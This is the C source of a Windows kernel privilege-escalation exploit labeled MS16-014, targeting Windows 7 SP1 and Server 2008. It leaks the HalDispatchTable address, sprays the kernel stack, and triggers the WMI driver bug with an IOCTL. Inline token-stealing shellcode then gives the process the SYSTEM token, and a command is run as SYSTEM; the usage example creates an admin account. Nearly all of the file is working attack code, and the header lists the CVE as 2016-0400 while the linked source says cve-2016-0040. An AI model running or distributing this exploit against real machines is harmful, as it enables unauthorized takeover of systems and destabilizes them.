﻿/*
# Exploit Title: Elevation of privilege on Windows 7 SP1 x86
# Date: 28/06-2016
# Exploit Author: @blomster81
# Tested on: Windows 7 SP1 x86,windows 2008 x86
# CVE : 2016-0400
# Modify: @skyer(Add x64 support)

MS16-014 EoP PoC created from
https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
Spawns CMD.exe with SYSTEM rights.
Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point
*/
#define  PSAPI_VERSION 1
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
#pragma comment(lib,"Ntdll.lib")


typedef union {
	HANDLE Handle;
	ULONG64 Handle64;
	ULONG32 Handle32;
}
HANDLE3264, *PHANDLE3264;

typedef struct {
	ULONG HandleCount;
	ULONG Action;
	HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
	HANDLE3264 UserModeProcess;
	HANDLE3264 Handles[20];
}
WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;

#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring

typedef struct {
	IN VOID * ObjectAttributes;
	IN ACCESS_MASK DesiredAccess;

	OUT HANDLE3264 Handle;
}
WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;

typedef enum _KPROFILE_SOURCE {
	ProfileTime,
	ProfileAlignmentFixup,
	ProfileTotalIssues,
	ProfilePipelineDry,
	ProfileLoadInstructions,
	ProfilePipelineFrozen,
	ProfileBranchInstructions,
	ProfileTotalNonissues,
	ProfileDcacheMisses,
	ProfileIcacheMisses,
	ProfileCacheMisses,
	ProfileBranchMispredictions,
	ProfileStoreInstructions,
	ProfileFpInstructions,
	ProfileIntegerInstructions,
	Profile2Issue,
	Profile3Issue,
	Profile4Issue,
	ProfileSpecialInstructions,
	ProfileTotalCycles,
	ProfileIcacheIssues,
	ProfileDcacheAccesses,
	ProfileMemoryBarrierCycles,
	ProfileLoadLinkedIssues,
	ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef struct _DESKTOPINFO
{
	/* 000 */ PVOID        pvDesktopBase;
	/* 008 */ PVOID        pvDesktopLimit;

} DESKTOPINFO, *PDESKTOPINFO;


typedef struct _CLIENTINFO
{
	/* 000 */ DWORD             CI_flags;
	/* 004 */ DWORD             cSpins;
	/* 008 */ DWORD             dwExpWinVer;
	/* 00c */ DWORD             dwCompatFlags;
	/* 010 */ DWORD             dwCompatFlags2;
	/* 014 */ DWORD             dwTIFlags;
	/* 018 */ DWORD				filler1;
	/* 01c */ DWORD				filler2;
	/* 020 */ PDESKTOPINFO      pDeskInfo;
	/* 028 */ ULONG_PTR         ulClientDelta;

} CLIENTINFO, *PCLIENTINFO;

typedef struct _HANDLEENTRY {
	PVOID  phead;
	ULONG_PTR  pOwner;
	BYTE  bType;
	BYTE  bFlags;
	WORD  wUniq;
}HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
	DWORD dwSRVIFlags;
	DWORD64 cHandleEntries;
	WORD wSRVIFlags;
	WORD wRIPPID;
	WORD wRIPError;
}SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl;
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;
#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)

// extern "C"
// NTSTATUS NTAPI RtlGetVersion(
// _Inout_	PRTL_OSVERSIONINFOW lpVersionInformation
// );
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);
//typedef NTSTATUS(NTAPI *_PsLookupProcessByProcessId)(HANDLE ProcessId, PVOID *Process);
//NTSYSAPI NTSTATUS WINAPI RtlGetVersion(_Inout_	PRTL_OSVERSIONINFOW lpVersionInformation);
#ifdef _WIN64
typedef unsigned __int64 QWORD, *PQWORD;
typedef  QWORD DT;
#else
typedef  DWORD DT;
#endif
DT g_HalDispatchTable = 0;
extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
void* kHandle;
HWND g_window = NULL;
const WCHAR g_windowClassName[] = L"skyer";
WNDCLASSEX wc;
PSHAREDINFO g_pSharedInfo;
PSERVERINFO g_pServerInfo;
HANDLEENTRY* g_UserHandleTable;

LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
void flushandexit()
{
	fflush(stdout);
	fflush(stderr);
	ExitProcess(0);
}


BOOL leakHal()
{
	DT ntoskrnlBase;
	DT HalDTUser, HalDTOffset;
	HMODULE userKernel;
	DT FuncAddress = 0L;

	LPVOID drivers[1024];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
	{
		if (drivers[0])
		{
			ntoskrnlBase = (DT)drivers[0];
		}
	}
	else
	{
		printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
	}
//	ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
	userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (userKernel == NULL)
	{
		puts("Could not load ntoskrnl.exe");
		return FALSE;
	}

	HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
	HalDTOffset = HalDTUser - (DT)userKernel;
	g_HalDispatchTable = ntoskrnlBase + HalDTOffset /*+ 0x9000*/;
	return TRUE;
}

BOOL setup()
{
	wc.cbSize = sizeof(WNDCLASSEX);
	wc.style = 0;
	wc.lpfnWndProc = WProc;
	wc.cbClsExtra = 0;
	wc.cbWndExtra = 0;
	wc.hInstance = NULL;
	wc.hCursor = NULL;
	wc.hIcon = NULL;
	wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
	wc.lpszMenuName = NULL;
	wc.lpszClassName = g_windowClassName;
	wc.hIconSm = NULL;

	if (!RegisterClassEx(&wc))
	{
		printf("Failed to register window: %d\n", GetLastError());
		return FALSE;
	}

	g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"skyer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
	if (g_window == NULL)
	{
		printf("Failed to create window: %d\n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

VOID SprayKernelStack() {
	g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
	if (ZwMapUserPhysicalPages == NULL)
	{
		puts("Could not get ZwMapUserPhysicalPages");
		flushandexit();
	}
	
#ifdef _WIN64
	int offset = 0x60-8;
	BYTE buffer[8192];
#else
	int offset = 0x3c-4;
	BYTE buffer[4096];
#endif
	DT value = g_HalDispatchTable - offset;
	for (int i = 0; i < sizeof(buffer) / sizeof(DT); i++)
	{
		memcpy(buffer + i * sizeof(DT), &value, sizeof(DT));
	}
	printf("Where is at: 0x%x\n", buffer);
	puts("Spraying stack...");
	fflush(stdout);
	ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DT), (PULONG)buffer);
}
#ifdef _WIN64
extern "C" void shellcode(void);
#else
__declspec(noinline) int shellcode()
{
	__asm {
		pushad;// save registers state
		mov edx, g_kthread;
		mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
		mov edx, g_EPROCESS;
		mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax;// Copy current _EPROCESS structure
		mov esi, g_EPROCESS_TokenOffset;
		mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
		mov edi, g_flink;
		mov ebx, g_PID;
	SearchSystemPID:
		mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
		sub eax, edi;
		cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
		jne SearchSystemPID

		mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
		popad;// restore registers state

		// recovery
		xor eax, eax;// Set NTSTATUS SUCCEESS

	}
}
#endif

int main() {
	int argc = 0;
	wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
	puts("MS16-014 exploit by skyer");
	if (argc!=2)
	{
		puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
		flushandexit(); 
	}
	DWORD dwBytesReturned;
	WMIRECEIVENOTIFICATION buffer;
	CHAR OutPut[1000];
	
	if (!setup())
	{
		puts("Could not setup window");
		flushandexit();
	}
	
	OSVERSIONINFOW osver;
	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	RtlGetVersionT pRtlGetVersion=(RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"),"RtlGetVersion");
	pRtlGetVersion(&osver);
	if (osver.dwMajorVersion == 5) {
#ifdef _WIN64
		g_EPROCESS_TokenOffset = 0x160;
		g_EPROCESS = 0x68;
		g_flink = 0xe0;
		g_PID = 0xd8;
		g_kthread = 0x188;
#else
		g_EPROCESS_TokenOffset = 0xd8;
		g_EPROCESS = 0x38;
		g_flink = 0x098;
		g_PID = 0x94;
		g_kthread = 0x124;
#endif
	}
	else if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
		if (osver.dwMinorVersion == 0)//win2008
		{
			g_EPROCESS_TokenOffset = 0x168;
			g_EPROCESS = 0x68;
			g_flink = 0xe0;
			g_PID = 0xe8;
			g_kthread = 0x188;
		}
		else
		{//win7
			g_EPROCESS_TokenOffset = 0x208;
			g_EPROCESS = 0x70;
			g_flink = 0x188;
			g_PID = 0x180;
			g_kthread = 0x188;
		}

#else
		if (osver.dwMinorVersion==0)//win2008
		{
			g_EPROCESS_TokenOffset = 0xe0;
			g_EPROCESS = 0x48;
			g_flink = 0xa0;
			g_PID = 0x9c;
			g_kthread = 0x124;
		}
		else
		{//win7
			g_EPROCESS_TokenOffset = 0xf8;
			g_EPROCESS = 0x50;
			g_flink = 0xb8;
			g_PID = 0xb4;
			g_kthread = 0x124;
		}

#endif
	}
	else
	{
		printf("this version of system was not supported\n", osver.dwBuildNumber);
		flushandexit();
	}

	PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//	kHandle = (void*)leakWndAddr(g_window);
	memset(userSC, 0x90, 0x1000);
	memcpy(userSC, shellcode,/*(DWORD)shellcodeend-(DWORD)Shellcode*/0x4d);

	if (!leakHal())
	{
		puts("Could not leak Hal");
		flushandexit();
	}
	printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);
	fflush(stdout);
	DT value = (DT)userSC;
	PBYTE buff = (PBYTE)&buffer;
	for (int i = 0; i < sizeof(buffer) / 4; i++)
	{
		memcpy(buff + i * sizeof(DT), &value, sizeof(DT));
	}
	printf("What is at: 0x%x\n", buff);
	fflush(stdout);
	buffer.HandleCount = 0;
	buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
	buffer.UserModeProcess.Handle = GetCurrentProcess();

	HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hDriver != INVALID_HANDLE_VALUE) {
		SprayKernelStack();

		if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
			puts("Exploit fail");
			flushandexit();
			return 1;
		}

	}
	_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
	ULONG result;
	KPROFILE_SOURCE stProfile = ProfileTotalIssues;
	NtQueryIntervalProfile(stProfile, &result);
	puts("===============================");
	SECURITY_ATTRIBUTES		sa;
	HANDLE					hRead, hWrite;
	byte					buf[40960] = { 0 };
	STARTUPINFOW			si;
	PROCESS_INFORMATION		pi;
	DWORD					bytesRead;
	RtlSecureZeroMemory(&si, sizeof(si));
	RtlSecureZeroMemory(&pi, sizeof(pi));
	RtlSecureZeroMemory(&sa, sizeof(sa));
	int br = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		flushandexit();
	}
	wprintf(L"Trying to execute %s as SYSTEM\n", argv[1]);
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfoW(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"WinSta0\\Default";
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	wchar_t cmd[4096] = { 0 };
	lstrcpyW(cmd, argv[1]);
	if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
	{
		CloseHandle(hWrite);
		CloseHandle(hRead);
		wprintf(L"CreateProcessW Failed![%p]\n",GetLastError());
		flushandexit();
	}
	CloseHandle(hWrite);
	printf("ProcessCreated with pid %d!\n", pi.dwProcessId);
	while (1)
	{
		if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
			break;
		br += bytesRead;
	}
// 	HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
// 	WriteConsoleA(h, buf, br, &bytesRead, 0);
	puts((char*)buf);
	fflush(stdout);
	fflush(stderr);
	CloseHandle(hRead);
	CloseHandle(pi.hProcess);
	return 0;
}

